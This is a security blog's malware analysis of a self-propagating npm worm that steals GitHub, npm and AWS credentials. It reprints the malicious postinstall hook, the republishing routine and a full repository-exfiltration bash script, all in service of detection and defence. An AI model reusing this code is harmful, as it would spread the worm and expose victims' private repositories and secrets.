npm Supply Chain Attack Exposes Private Repositories, AWS Credentials and More

10 min read Original article ↗

10 min read

Table of Contents

TL;DR

npm supply chain attacks continue. This time targeting @ctrl/tinycolor and multiple other npm packages with credential stealer malware. In this blog, we will analyze the attack and its impact on the npm ecosystem. We will also look at common attack patterns that are being used to target maintainers.

Update: Along with packages already mentioned, these new packages are discovered to be affected with same attack pattern.

Lately we have observed multiple high-profile software supply chain attacks against the npm ecosystem:

These attacks target packages collectively with over 2 BILLION weekly downloads. While the payloads used in these attacks have questionable sophistication levels, the continued success of malicious actors in breaching highly popular open source packages exposes risks in the open source software supply chain, especially for software development teams shipping professional software.

There are, however, common patterns that are observed in these attacks:

  1. 2FA phishing attacks against maintainers as we saw in the eslint-config-prettier incident
  2. Maintainers of dormant packages are being targeted as we saw in the ansi-style incident and today’s incident as well.

For example, @ctrl/tinycolor did not have a release since over a year.

Summary of Malicious Payload

Credential Harvesting:

  • Generates GitHub authentication tokens using gh auth token command
  • Harvests AWS credentials from environment variables, configuration files, Web Identity Tokens, and EC2 Instance Metadata Service (IMDS)
  • Uses TruffleHog to scan the local filesystem for secrets and credentials
  • Exfiltrates all discovered credentials to an attacker-controlled webhook.site URL

Repository Compromise:

  • Injects malicious GitHub Action workflows into all repositories accessible to the compromised user
  • Copies private repositories and makes them public with the description Shai-Hulud Migration
  • Removes .github/workflows directories during the migration process to avoid detection

Self-Propagating Worm Behavior:

  • Extracts npm authentication tokens from .npmrc files
  • Identifies npm packages where the compromised user has maintainer access
  • Downloads package tarballs, injects the malicious bundle.js payload, and adds postinstall scripts
  • Automatically publishes new malicious versions of packages to npm registry
  • Increments package version numbers to ensure the malicious versions are treated as updates

How SafeDep can help?

Protect GitHub Repositories

To protect the developer community against malicious packages that are flagged by SafeDep, we built free to use SafeDep GitHub App. It can be installed with zero configuration and will scan every pull request for malicious packages.

Install SafeDep GitHub App

Protect Developer Environments

SafeDep open source tools especially vet and pmg can help protect developers from malicious packages and other open source software supply chain attacks.

The Attack

The following is the list of affected package versions as published by Socket Security:

Technical Analysis

We will use @ctrl/[email protected] as the malicious sample for our analysis. SafeDep’s automated malicious package analysis engine flagged this version based on post-install script and signature match.

We compared version 7.2.0 and 7.2.2 to identify the malicious changes. The obvious difference was the size of the package.

deluge-7.2.0.tgz and deluge-7.2.2.tgz

❯ du -sh *

12K deluge-7.2.0.tgz

2.0M deluge-7.2.2.tgz

Subsequently, we looked at package.json changes and observed a newly introduced postinstall script in the malicious version.

Diff of package.json

❯ diff -u package-7.2.0/package.json package-7.2.2/package.json

--- package-7.2.0/package.json 1985-10-26 13:45:00

+++ package-7.2.2/package.json 2025-09-16 01:43:28

@@ -1,6 +1,6 @@

{

"name": "@ctrl/deluge",

- "version": "7.2.0",

+ "version": "7.2.2",

"description": "TypeScript api wrapper for deluge using got",

"author": "Scott Cooper <[email protected]>",

"license": "MIT",

@@ -25,7 +25,8 @@

"build:docs": "typedoc",

"test": "vitest run",

"test:watch": "vitest",

- "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml"

+ "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml",

+ "postinstall": "node bundle.js"

},

"dependencies": {

"@ctrl/magnet-link": "^4.0.2",

@@ -83,4 +84,4 @@

"importOrderSeparation": true,

"importOrderSortSpecifiers": false

}

-}

+}

Looking at some of the strings in bundle.js, it appears to be packed with webpack.

/*! For license information please see bundle.js.LICENSE.txt */

import{createRequire as __WEBPACK_EXTERNAL_createRequire}from"node:module";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307

,308])

Payload

Observed malicious payload in bundle.js:

  • Generates a GitHub auth token using gh auth token with the current user’s credentials
  • Contains an embedded bash script that injects a malicious GitHub Action workflow into all repositories of the authenticated user
  • Contains an embedded bash script that copies private repositories using the compromised GitHub token and makes them public with the description Shai-Hulud Migration
  • Uses Trufflehog to mine secrets from the local filesystem and exfiltrate them to an attacker-controlled webhook.site URL
  • Harvests AWS credentials from environment variables, local configuration files, Web Identity Tokens, and the IMDS endpoint

Self-replicating worm like behavior

The bundle.js payload has self-replicating worm-like behavior to infect npm packages that are accessible to the authenticated user. To achieve this, the payload does the following:

  • Finds the infected user’s npm token from the .npmrc file
  • Calls https://registry.npmjs.org/-/whoami to validate the token and retrieve the username
  • Searches for packages that are accessible to the authenticated user as a maintainer
  • Downloads the package tarball, injects the bundle.js payload, and adds a postinstall script to package.json
  • Publishes the package to the authenticated user’s npm registry using the npm publish ... command

Example code:

Search npm Packages

async searchPackages(t, r = 20) {

const n = `/-/v1/search?text=${encodeURIComponent(t)}&size=${r}`,

F = `${this.baseUrl}${n}`;

try {

const t = await fetch(F, {

method: "GET",

headers: this.getHeaders(!1)

});

if (!t.ok) throw new Error(`HTTP ${t.status}: ${t.statusText}`);

return (await t.json()).objects || []

} catch (t) {

return console.error("Error searching packages:", t), []

}

}

Update Package to inject bundle.js and modify package.json

[...]

async updatePackage(t) {

try {

const ie = await fetch(t.tarballUrl, {

method: "GET",

headers: {

"User-Agent": this.userAgent,

Accept: "*/*",

"Accept-Encoding": "gzip, deflate, br"

}

});

// [...]

try {

await re.promises.writeFile(ce, se), await te(`gzip -d -c ${ce} > ${le}`), await te(`tar -xf ${le} -C ${ae} package/package.json`);

const t = ne.join(ae, "package", "package.json"),

r = await re.promises.readFile(t, "utf-8"),

n = JSON.parse(r);

if (n.version) {

const t = n.version.split(".");

if (3 === t.length) {

const r = parseInt(t[0]),

F = parseInt(t[1]),

te = parseInt(t[2]);

isNaN(te) || (n.version = `${r}.${F}.${te+1}`)

}

}

n.scripts || (n.scripts = {}), n.scripts.postinstall = "node bundle.js", await re.promises.writeFile(t, JSON.stringify(n, null, 2)), await te(`tar -uf ${le} -C ${ae} package/package.json`);

const F = process.argv[1];

if (F && await re.promises.access(F).then(() => !0).catch(() => !1)) {

const t = ne.join(ae, "package", "bundle.js"),

r = await re.promises.readFile(F);

await re.promises.writeFile(t, r), await te(`tar -uf ${le} -C ${ae} package/bundle.js`)

}

await te(`gzip -c ${le} > ${ue}`), await te(`npm publish ${ue}`), await re.promises.rm(ae, {

recursive: !0,

force: !0

})

} catch (t) {

// [...]

}

} catch (t) {

throw new Error(`Failed to update package: ${t}`)

}

}

Impact

At the time of writing, at least 650+ repositories appear to be affected by this attack, as observed in a GitHub search.

Indicators of Compromise (IOC)

  • bundle.js SHA2 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
  • GitHub repositories with description Shai-Hulud Migration example
  • HTTP requests to hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

Appendix

Manually formatted shell script from bundle.js that exfiltrates private repositories using a compromised GitHub token and makes them public with the description Shai-Hulud Migration:

migrate_script.sh

#!/bin/bash

#-----------------------------------------------------------------------

# This script is designed to migrate all private and internal GitHub

# repositories from a source organization to a target user's account.

#

# It performs the following actions:

# 1. Fetches all non-archived private and internal repositories from the SOURCE_ORG.

# 2. For each repository, it creates a new private repository under the TARGET_USER.

# 3. It then mirrors the original repository to the new one.

# 4. Crucially, it removes the .github/workflows directory during migration.

# 5. After a successful migration, it makes the new repository PUBLIC.

#

# Usage:

# ./migrate_script.sh <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>

#

# Arguments:

# SOURCE_ORG: The name of the GitHub organization to migrate from.

# TARGET_USER: The GitHub username to migrate the repositories to.

# GITHUB_TOKEN: A personal access token with 'repo' scope.

#-----------------------------------------------------------------------

SOURCE_ORG=""

TARGET_USER=""

GITHUB_TOKEN=""

PER_PAGE=100

TEMP_DIR=""

# --- Argument Validation ---

if [[ $# -lt 3 ]]; then

echo "Error: Missing arguments."

echo "Usage: $0 <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>"

exit 1

fi

SOURCE_ORG="$1"

TARGET_USER="$2"

GITHUB_TOKEN="$3"

if [[ -z "$SOURCE_ORG" || -z "$TARGET_USER" || -z "$GITHUB_TOKEN" ]]; then

echo "Error: All three arguments are required."

exit 1

fi

# Create a temporary directory for cloning repositories

TEMP_DIR="./temp$TARGET_USER"

mkdir -p "$TEMP_DIR"

TEMP_DIR=$(realpath "$TEMP_DIR")

# --- Function to make authenticated GitHub API calls ---

github_api() {

local endpoint="$1"

local method="${2:-GET}"

local data="${3:-}"

local curl_args=("-s" "-w" "%{http_code}" "-H" "Authorization: token $GITHUB_TOKEN" "-H" "Accept: application/vnd.github.v3+json")

if [[ "$method" != "GET" ]]; then

curl_args+=("-X" "$method")

fi

if [[ -n "$data" ]]; then

curl_args+=("-H" "Content-Type: application/json" "-d" "$data")

fi

curl "${curl_args[@]}" "https://api.github.com$endpoint"

}

# --- Function to retrieve all repositories from an organization ---

get_all_repos() {

local org="$1"

local page=1

local all_slugs="[]"

while true; do

local response

response=$(github_api "/orgs/$org/repos?type=private,internal&per_page=$PER_PAGE&page=$page")

local http_code="${response: -3}"

local body="${response%???}"

if ! echo "$body" | jq empty 2>/dev/null || ! echo "$body" | jq -e 'type == "array"' >/dev/null; then

return 1

fi

local repos_count

repos_count=$(echo "$body" | jq length)

if [[ "$repos_count" -eq 0 ]]; then

break

fi

local page_slugs

page_slugs=$(echo "$body" | jq '[.[] | select(.archived == false) | .full_name]')

all_slugs=$(echo "$all_slugs" "$page_slugs" | jq -s 'add')

((page++))

done

echo "$all_slugs"

}

# --- Function to create a new repository for the target user ---

create_repo() {

local repo_name="$1"

local repo_data

repo_data=$(cat <<EOF

{

"name": "$repo_name",

"description": "Shai-Hulud Migration",

"private": true,

"has_issues": false,

"has_projects": false,

"has_wiki": false

}

EOF

)

local response

response=$(github_api "/user/repos" "POST" "$repo_data")

local http_code="${response: -3}"

local body="${response%???}"

if echo "$body" | jq -e '.name' >/dev/null 2>&1; then

return 0

else

# Handle secondary rate limits by sleeping

if [[ "$http_code" =~ ^4[0-9][0-9]$ ]] && echo "$body" | grep -qi "secondary rate"; then

sleep 600

response=$(github_api "/user/repos" "POST" "$repo_data")

http_code="${response: -3}"

body="${response%???}"

if echo "$body" | jq -e '.name' >/dev/null 2>&1; then

return 0

fi

fi

return 1

fi

}

# --- Function to make a repository public ---

make_repo_public() {

local repo_name="$1"

local repo_data

repo_data=$(cat <<EOF

{

"private": false

}

EOF

)

local response

response=$(github_api "/repos/$TARGET_USER/$repo_name" "PATCH" "$repo_data")

local http_code="${response: -3}"

local body="${response%???}"

if echo "$body" | jq -e '.private == false' >/dev/null 2>&1; then

return 0

else

return 1

fi

}

# --- Function to migrate a repository using git mirror ---

migrate_repo() {

local source_clone_url="$1"

local target_clone_url="$2"

local migration_name="$3"

local repo_dir="$TEMP_DIR"

if ! git clone --mirror "$source_clone_url" "$repo_dir/$migration_name" 2>/dev/null; then

return 1

fi

cd "$repo_dir/$migration_name"

if ! git remote set-url origin "$target_clone_url" 2>/dev/null; then

cd - >/dev/null

return 1

fi

# Temporarily convert to a regular repo to remove workflows

git config --unset core.bare

git reset --hard

# Remove workflows directory and commit the change

if [[ -d ".github/workflows" ]]; then

rm -rf .github/workflows

git add -A

git commit -m "Remove GitHub workflows directory"

fi

# Convert back to a bare repo for mirroring

git config core.bare true

rm -rf *

if ! git push --mirror 2>/dev/null; then

cd - >/dev/null

return 1

fi

cd - >/dev/null

rm -rf "$repo_dir/$migration_name"

return 0

}

# --- Function to process the list of repositories ---

process_repositories() {

local repos="$1"

local total_repos

total_repos=$(echo "$repos" | jq length)

if [[ "$total_repos" -eq 0 ]]; then

return 0

fi

local success_count=0

local failure_count=0

for i in $(seq 0 $((total_repos - 1))); do

local repo

repo=$(echo "$repos" | jq -r ".[$i]")

local migration_name="${repo//\//-}-migration"

local auth_source_url="https://$GITHUB_TOKEN@github.com/$repo.git"

local auth_target_url="https://$GITHUB_TOKEN@github.com/$TARGET_USER/$migration_name.git"

echo "Migrating $repo to $TARGET_USER/$migration_name..."

if create_repo "$migration_name"; then

if migrate_repo "$auth_source_url" "$auth_target_url" "$migration_name"; then

if make_repo_public "$migration_name"; then

echo " -> Success: Migrated and made public."

((success_count++))

else

# Still counts as a success if migration worked but public toggle failed

echo " -> Warning: Migrated but failed to make public."

((success_count++))

fi

else

echo " -> Error: Migration failed."

((failure_count++))

fi

else

echo " -> Error: Could not create target repository."

((failure_count++))

fi

done

echo "-------------------------------------"

echo "Migration Complete."

echo "Successful: $success_count"

echo "Failed: $failure_count"

echo "-------------------------------------"

return $failure_count

}

# --- Main execution block ---

main() {

# Check for required command-line tools

for tool in curl jq git; do

if ! command -v "$tool" &> /dev/null; then

echo "Error: Required tool '$tool' is not installed."

exit 1

fi

done

echo "Fetching repositories from $SOURCE_ORG..."

local repos

if ! repos=$(get_all_repos "$SOURCE_ORG"); then

echo "Error: Failed to fetch repositories from $SOURCE_ORG."

exit 1

fi

process_repositories "$repos"

}

# Run main function with provided arguments

main "$@"

  • npm
  • oss
  • malware
  • supply-chain

Author

SafeDep Logo

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background

SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App